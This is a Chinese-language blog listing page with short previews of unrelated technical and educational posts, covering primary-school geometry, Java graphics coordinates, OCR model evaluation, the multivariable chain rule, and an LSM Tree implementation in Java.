目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
热烈祝贺埃文科技正式加入可信数据空间发展联盟
2025年4月29日,在福州举办的第八届数字中国建设峰会“可信数据空间分论坛”上,可信数据空间发展联盟正式宣告成立。国家数据局党组书记、局长刘烈宏出席并致辞,强调该联盟是推进全国一体化数据市场建设的关键抓手。 郑州埃文科技有限公司&am…...
OCR MLLM Evaluation
为什么需要评测体系?——背景与矛盾 能干的事: 看清楚发票、身份证上的字(准确率>90%),速度飞快(眨眼间完成)。干不了的事: 碰到复杂表格(合并单元…...
链式法则中 复合函数的推导路径 多变量“信息传递路径”
非常好,我们将之前关于偏导数链式法则中不能“约掉”偏导符号的问题,统一使用 二重复合函数: z f ( u ( x , y ) , v ( x , y ) ) \boxed{z f(u(x,y),\ v(x,y))} zf(u(x,y), v(x,y)) 来全面说明。我们会展示其全微分形式(偏导…...
从零手写Java版本的LSM Tree (一):LSM Tree 概述
🔥 推荐一个高质量的Java LSM Tree开源项目! https://github.com/brianxiadong/java-lsm-tree java-lsm-tree 是一个从零实现的Log-Structured Merge Tree,专为高并发写入场景设计。 核心亮点: ⚡ 极致性能:写入速度超…...
